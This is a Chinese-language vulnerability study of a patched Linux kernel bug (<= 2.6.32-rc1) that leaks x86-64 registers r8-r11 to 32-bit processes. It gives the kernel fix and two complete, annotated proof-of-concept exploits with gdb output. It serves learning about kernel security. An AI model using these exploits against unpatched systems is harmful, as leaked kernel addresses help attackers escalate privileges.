Introduction

versions <= 2.6.32-rc1

The x86-64 registers r8-r11 may be leaked to 32-bit unprivileged userspace applications that switch themselves into 64-bit mode.

x86-64 架构(又称为 amd64)中的 r8 到 r11 寄存器的内容可能会泄露给切换到 64 位模式的 32 位非特权用户空间应用程序。

x86-64 的一个关键设计决策是其与 32 位代码的向后兼容性:

  • 在 x86-64 的长模式下,有两种由代码段描述符控制的子模式:兼容模式和 64 位模式。
  • 因此,64 位操作系统可以毫无问题地执行 32 位和 64 位二进制文件。
  • 当然,如果我们正在执行一个 32 位二进制文件,我们可以访问传统的 32 位架构寄存器,而不是 x86-64 增加的额外寄存器文件。

然而,可以在单个可执行文件中混合使用 32 位和 64 位代码:

  • 一个 32 位进程可以切换到 64 位模式,并直接跳转到 x86-64 机器代码。
  • 一个 64 位进程能够调用 32 位系统调用。

这种模式切换可以被滥用,正如 Chris Evans 发现的那样(因为 32 位和 64 位的系统调用编号不同),绕过系统调用过滤机制(syscall filtering mechanisms),从而实现对敏感信息的泄露。

下面这个漏洞就是在这种情况下被利用的,在 32 位和 64 位代码之间切换时发生信息泄漏。

syscall filtering mechanisms:好吧,其实应该就是系统调用的访问控制

  • 主要目的:限制应用程序可以执行的系统调用类型。
    • 这对于增强系统的安全性至关重要,尤其是在多租户环境、容器化部署或任何需要细粒度安全控制的场景中。
    • 过滤机制可以帮助防止恶意软件或者滥用资源,限制了潜在的攻击面。
  • 实现:
    • seccomp(Secure Computing Mode):允许进程指定一个简单的过滤器,这个过滤器定义了哪些系统调用是允许的,哪些是被禁止的。这种模式有两个级别:
      • seccomp 模式 1:这是一种较为严格的过滤模式,只允许四个系统调用:read(), write(), _exit(), 和 sigreturn()。这对于非常受限的环境非常有用。
      • seccomp 模式 2:提供了更灵活的过滤能力,允许进程定义一个过滤器,该过滤器使用 Berkeley Packet Filter(BPF)语法,可以精确地指定允许和禁止的系统调用列表,甚至可以根据调用的参数来决定是否允许。
    • AppArmor 和 SELinux:这些是更为复杂的安全模块,它们提供了基于角色的访问控制(RBAC)和强制访问控制(MAC)策略,这些策略可以控制进程对系统调用的访问。这些工具通过定义安全策略来限制应用程序可以执行的系统调用,以及它们可以访问的文件和网络资源。

The Vulnerability

从系统调用返回时,未将几个 x86-64 寄存器清零(特别是 r8 到 r11)。一个 32 位应用程序可能能切换到 64 位模式,并访问 r8、r9、r10 和 r11 寄存器,从而泄露它们之前的值。这个问题由[] Jan Beulich 发现](http://lkml.org/lkml/2009/10/1/164)。

修复方法是在系统调用返回时通过执行 XOR 操作将 r8 到 r11 寄存器清零,即 xorq %rx,%rx。这样可以确保这些寄存器的内容在返回到用户空间前不会保留任何敏感信息。

diff --git a/arch/x86/ia32/ia32entry.S b/arch/x86/ia32/ia32entry.S
--- a/arch/x86/ia32/ia32entry.S
+++ b/arch/x86/ia32/ia32entry.S
@@ -172,6 +172,10 @@ sysexit_from_sys_call:
        movl    RIP-R11(%rsp),%edx              /* User %eip */
        CFI_REGISTER rip,rdx
        RESTORE_ARGS 1,24,1,1,1,1
+       xorq    %r8,%r8
+       xorq    %r9,%r9
+       xorq    %r10,%r10
+       xorq    %r11,%r11
        popfq
        CFI_ADJUST_CFA_OFFSET -8
        /*CFI_RESTORE rflags*/

The Exploit

核心思想:编写一个32 位用户空间应用程序,同时让他切换到 64 位模式,以便访问 x86-64 寄存器并暴露泄露的信息。

为了将32 位和 64 位代码混合,使用 -m32 编译二进制文件,但使用 gcc 的内联汇编来混合必要的 64 位代码,而不会产生冲突。为了切换到 64 位模式,只需要执行一个带有 USER_CS 代码段(在 Linux 上是 0x33)的 ljmp/lcall

ljmp 指令是长跳转,用于改变控制流同时切换代码段寄存器,这里将代码段寄存器设置为 0x33,即 x86-64 下的用户空间代码段,从而切换到 64 位模式。

.code32
ljmp $0x33, $1f
.code64
1:
/* 64-bit code here */
xorq %rax, %rax
...

对于 64 位寄存器 r8、r9、r10 和 r11,简单地将 64 位压缩到两个 32 位的通用寄存器中。例如,将 r8 的上下 32 位分别放入 rax 和 rcx(稍后通过 eax 和 ecx 检索)

movq %r8, %rcx
shr $32, %r8
movq %r8, %rax

最后,为了检索泄露的值,跳转到一个无效地址(0xdeadbeef)引发 SIGSEGV,然后在 gdb 中使用 info regs 来检查寄存器的值。

$ gcc -m32 x86_64-reg-leak.c -o x86_64-reg-leak
$ gdb ./x86_64-reg-leak
GNU gdb 6.8-debian
...
(gdb) run
[+] Switching to x86_64 long mode via far jmp...
...
Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()
(gdb) info reg
eax            0xffff8800       -30720        <-- r8 上半部
ecx            0xa5cc6000       -1513332736   <-- r8 下半部
edx            0x0      0                     <-- r9 上半部
ebx            0x1      1                     <-- r9 下半部
esp            0xffff8800       0xffff8800    <-- r10 上半部
ebp            0xa5cc6000       0xa5cc6000    <-- r10 下半部
esi            0x0      0                     <-- r11 上半部
edi            0xffffffff       -1            <-- r11 下半部
...

Exp1

/* 
 * x86_64-reg-leak.c
 *
 * Linux Kernel <= 2.6.32-rc1 x86_64 Register Leak
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 * 
 * Information:
 * 
 *   http://lkml.org/lkml/2009/10/1/164
 *   
 *   While 32-bit processes can't directly access R8...R15, they can gain 
 *   access to these registers by temporarily switching themselves into 64-bit
 *   mode.
 *
 * Usage:
 *
 *   $ gcc -m32 x86_64-reg-leak.c -o x86_64-reg-leak
 *   $ gdb ./x86_64-reg-leak
 *   GNU gdb 6.8-debian
 *   ...
 *   (gdb) run
 *   [+] Switching to x86_64 long mode via far jmp...
 *   ...
 *   Program received signal SIGSEGV, Segmentation fault.
 *   0xdeadbeef in ?? ()
 *   (gdb) info reg
 *   eax            0xffff8800       -30720        <-- r8 upper
 *   ecx            0xa5cc6000       -1513332736   <-- r8 lower
 *   edx            0x0      0                     <-- r9 upper
 *   ebx            0x1      1                     <-- r9 lower
 *   esp            0xffff8800       0xffff8800    <-- r10 upper
 *   ebp            0xa5cc6000       0xa5cc6000    <-- r10 lower
 *   esi            0x0      0                     <-- r11 upper
 *   edi            0xffffffff       -1            <-- r11 lower
 *   ...
 *
 * Notes:
 * 
 *   We switch from x86_64 compat mode to long mode via our far jmp and 
 *   then dump out r8-r11 through our 32-bit GPRs and then segfault for 
 *   register inspection via GDB.
 */

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

// 定义了用户代码段和数据段的选择子,用于后面在汇编代码中指定
#define USER_CS       "0x33"
#define USER_DS       "0x2b"

int
main(void)
{
	int ret;

	printf("[+] Switching to x86_64 long mode via far jmp...\n\n");

  // 睡眠 8s 多
	for (ret = 5; ret > 0; ret--) {
		printf("%d...\n", ret);
		sleep(1);
	}
	printf("\n");

	sleep(3);

	asm volatile (
		"	.code32				\n"                       // .code32 指示接下来的代码是32位
		"	ljmp $" USER_CS ", $1f		\n"           // ljmp 是远跳转指令,用于切换到64位模式。目标是标签 1f,即代码中的 1: 标签。
		"					\n"
		"	.code64				\n"                       // .code64 指示接下来的代码是64位
		"	1:				\n"
		"	movl $" USER_DS ", %%eax	\n"           // 将数据段选择子加载到寄存器 eax,然后设置数据段(ds)、栈段(ss)和附加段(es)寄存器。
		"	movl %%eax, %%ds		\n"
		"	movl %%eax, %%ss		\n"
		"	movl %%eax, %%es		\n"
		"					\n"
		"	movq %%r8, %%rcx		\n"                 // 将 r8 寄存器的内容复制到 rcx
		"	shr $32, %%r8			\n"                   // 将 r8 右移32位,把高32位移至低32位位置
		"	movq %%r8, %%rax		\n"                 // 将修改后的 r8 复制到 rax
		"					\n"
		"	movq %%r9, %%rbx		\n"                 // 这个模式对 r9, r10, r11 也重复执行,分别操作 rbx, rdx, rbp, rsp, rdi, rsi
		"	shr $32, %%r9			\n"
		"	movq %%r9, %%rdx		\n"
		"					\n"
		"	movq %%r10, %%rbp		\n"
		"	shr $32, %%r10			\n"
		"	movq %%r10, %%rsp		\n"
		"					\n"
		"	movq %%r11, %%rdi		\n"
		"	shr $32, %%r11			\n"
		"	movq %%r11, %%rsi		\n"
		"					\n"
		"	.code32				\n"                       // 回到32位代码模式
		"	jmp 0xdeadbeef			\n"                 // 执行一个跳转到无效地址 0xdeadbeef 的指令,这通常会导致程序异常终止(例如访问违规)
		::
	);

	return 0;
}

为什么.code32 能指示接下来的代码是32位?

在汇编语言中,指令 .code32.code64 是由汇编器提供的伪指令(pseudo-instructions),它们用来指定接下来的代码应该按照哪种体系结构(32位或64位)来解释和编译。这些伪指令不直接转换为机器代码,而是用来影响汇编器的行为。下面解释了为什么和如何 .code32 能够指示汇编器编译32位代码:

汇编器的模式控制

汇编器,如 GNU Assembler (GAS),需要知道汇编代码应该被如何处理:是作为32位代码还是64位代码。这影响了指令的编码、可用的指令集、以及寄存器的名字和功能。

  • 指令长度和格式: 32位和64位模式下,某些指令的编码长度和格式可能不同。例如,64位模式支持更长的地址和偏移量。
  • 可用指令: 64位模式可能支持一些32位模式中不可用的扩展指令,例如操作64位寄存器的指令。
  • 寄存器: 64位模式引入了更多的寄存器和扩展了现有的寄存器(例如,32位的 eax 寄存器在64位中扩展为 rax)。

指示汇编器的目标体系结构

当写入 .code32.code64 时,告诉汇编器接下来的汇编指令应该按照32位或64位体系结构来处理。这是必要的,特别是在编写涉及多种处理模式的代码时(如在操作系统或低级系统软件中常见)。

例如,在代码中:

.code32
ljmp $USER_CS, $1f

这里 .code32 告诉汇编器,接下来的 ljmp 指令应该按照32位模式来编译。而 ljmp (远跳转)可能用于从32位模式切换到64位模式(通过设置正确的代码段寄存器)。

exp2

spender 也同时编写了一个exp,内容如下所示。它将循环调用一系列随机的系统调用,并打印泄露的数据,这样就不必使用 gdb。

/* written by Ingo Molnar -- it's true because this comment says the exploit
   was written by him!
*/

#include <stdio.h>
#include <sys/syscall.h>

// 这些变量用于存储从64位寄存器分割为32位部分后的值。
unsigned int _r81; 
unsigned int _r82;
unsigned int _r91;
unsigned int _r92;
unsigned int _r101;
unsigned int _r102;
unsigned int _r111;
unsigned int _r112;
unsigned int _r121;
unsigned int _r122;
unsigned int _r131;
unsigned int _r132;
unsigned int _r141;
unsigned int _r142;
unsigned int _r151;
unsigned int _r152;

// 通过从32位模式(code32)转换到64位模式(code64)并返回,从64位寄存器中提取值并将它们存储到全局变量中
int leak_it(void)
{
	asm volatile (
	".intel_syntax noprefix\n"      // 指定使用Intel语法进行汇编代码
	".code32\n" 										// 表明接下来的汇编代码应被视为32位
	"jmp label1\n"									// 跳转到标签label1,这是第一个远调用序列的开始
	"farcalllabel1:\n"							// 用于处理从32位到64位的远调用
	".code64\n"											// 切换到64位模式
	"mov eax, r8d\n"                // 这些指令将64位寄存器的低32位移动到32位寄存器(eax、ebx等),然后将高32位移动到寄存器的低半部分以读取它们
	"shr r8, 32\n"
	"mov ebx, r8d\n"
	"mov ecx, r9d\n"
	"shr r9, 32\n"
	"mov edx, r9d\n"
	"mov esi, r10d\n"
	"shr r10, 32\n"
	"mov edi, r10d\n"
	".att_syntax noprefix\n"				// 转换为AT&T语法,通常在GNU汇编器中使用。这里用于切换回AT&T语法进行长返回(lret)指令,该指令用于从调用返回
	"lret\n"
	".intel_syntax noprefix\n"
	"farcalllabel2:\n"
	"mov eax, r11d\n"
	"shr r11, 32\n"
	"mov ebx, r11d\n"
	"mov ecx, r12d\n"
	"shr r12, 32\n"
	"mov edx, r12d\n"
	"mov esi, r13d\n"
	"shr r13, 32\n"
	"mov edi, r13d\n"
	".att_syntax noprefix\n"
	"lret\n"
	".intel_syntax noprefix\n"
	"farcalllabel3:\n"
	"mov eax, r14d\n"
	"shr r14, 32\n"
	"mov ebx, r14d\n"
	"mov ecx, r15d\n"
	"shr r15, 32\n"
	"mov edx, r15d\n"
	".att_syntax noprefix\n"
	"lret\n"
	".intel_syntax noprefix\n"
	".code32\n"
	"label1:\n"
	".att_syntax noprefix\n"
	"lcall $0x33, $farcalllabel1\n"
	".intel_syntax noprefix\n"
	"mov _r81, eax\n"
	"mov _r82, ebx\n"
	"mov _r91, ecx\n"
	"mov _r92, edx\n"
	"mov _r101, esi\n"
	"mov _r102, edi\n"
	".att_syntax noprefix\n"
	"lcall $0x33, $farcalllabel2\n"
	".intel_syntax noprefix\n"
	"mov _r111, eax\n"
	"mov _r112, ebx\n"
	"mov _r121, ecx\n"
	"mov _r122, edx\n"
	"mov _r131, esi\n"
	"mov _r132, edi\n"
	".att_syntax noprefix\n"
	"lcall $0x33, $farcalllabel3\n"
	".intel_syntax noprefix\n"
	"mov _r141, eax\n"
	"mov _r142, ebx\n"
	"mov _r151, ecx\n"
	"mov _r152, edx\n"
	".att_syntax noprefix\n"
	);

	printf(" R8=%08x%08x\n", _r82, _r81);
	printf(" R9=%08x%08x\n", _r92, _r91);
	printf("R10=%08x%08x\n", _r102, _r101);
	printf("R11=%08x%08x\n", _r112, _r111);
	printf("R12=%08x%08x\n", _r122, _r121);
	printf("R13=%08x%08x\n", _r132, _r131);
	printf("R14=%08x%08x\n", _r142, _r141);
	printf("R15=%08x%08x\n", _r152, _r151);
	return 0;
}

/* ripped from jon oberheide */
const int randcalls[] = {
	__NR_read, __NR_write, __NR_open, __NR_close, __NR_stat, __NR_lstat,
	__NR_lseek, __NR_rt_sigaction, __NR_rt_sigprocmask, __NR_ioctl,
	__NR_access, __NR_pipe, __NR_sched_yield, __NR_mremap, __NR_dup,
	__NR_dup2, __NR_getitimer, __NR_setitimer, __NR_getpid, __NR_fcntl,
	__NR_flock, __NR_getdents, __NR_getcwd, __NR_gettimeofday,
	__NR_getrlimit, __NR_getuid, __NR_getgid, __NR_geteuid, __NR_getegid,
	__NR_getppid, __NR_getpgrp, __NR_getgroups, __NR_getresuid,
	__NR_getresgid, __NR_getpgid, __NR_getsid,__NR_getpriority,
	__NR_sched_getparam, __NR_sched_get_priority_max
};

int main(void)
{
	/* to keep random stack values from being used for pointers in syscalls */
	char buf[64] = {};
	int call;
	for (call = 0; call < sizeof(randcalls)/sizeof(randcalls[0]); call++) {
		syscall(randcalls[call]);
		leak_it();
	}

}

指令集和语法转换

  1. .intel_syntax noprefix
    • 这指令改变汇编器解析汇编指令的语法,将其从默认的AT&T语法改为Intel语法。Intel语法是在许多文档和教程中常用的,因为其更加直观。此外,noprefix选项意味着寄存器名称前不需要加%前缀。
  2. .code32
    • 这条指令告诉汇编器接下来的代码是32位代码。在32位模式下,CPU的寄存器和操作默认为32位宽。
  3. jmp label1
    • 这是一个简单的跳转指令,跳转到标签label1处的代码继续执行。这种方式通常用于控制流程,跳过或延迟执行某些代码块。

32位到64位的转换

  1. farcalllabel1:
    • 这是一个标签,用作远程调用的目标点。在这里,代码从32位转换到64位执行。
  2. .code64
    • 这条指令切换到64位模式,允许汇编代码直接访问和操作64位寄存器。
  3. mov eax, r8d
    • 这条指令将64位寄存器R8的低32位移动到32位寄存器EAX。这里的r8d是R8的32位表示。
  4. shr r8, 32
    • 这条指令将R8寄存器中的内容向右移动32位,这样原本的高32位现在成为了低32位。
  5. mov ebx, r8d
    • 将新的R8的低32位(原高32位)移动到EBX寄存器中。

返回到32位代码

  1. .att_syntax noprefix
    • 汇编代码再次更改语法,这次从Intel语法切换回AT&T语法。这是因为某些平台或工具链默认使用AT&T语法,或者为了与之前的汇编代码保持一致。
  2. lret
    • 这是一个远程返回指令,用于从一个远程调用(far call)返回。在这里,它标志着从64位代码返回到32位代码的结束。

The Fix

如上所示。

References

  • https://jon.oberheide.org/blog/2009/10/04/linux-kernel-x86-64-register-leak/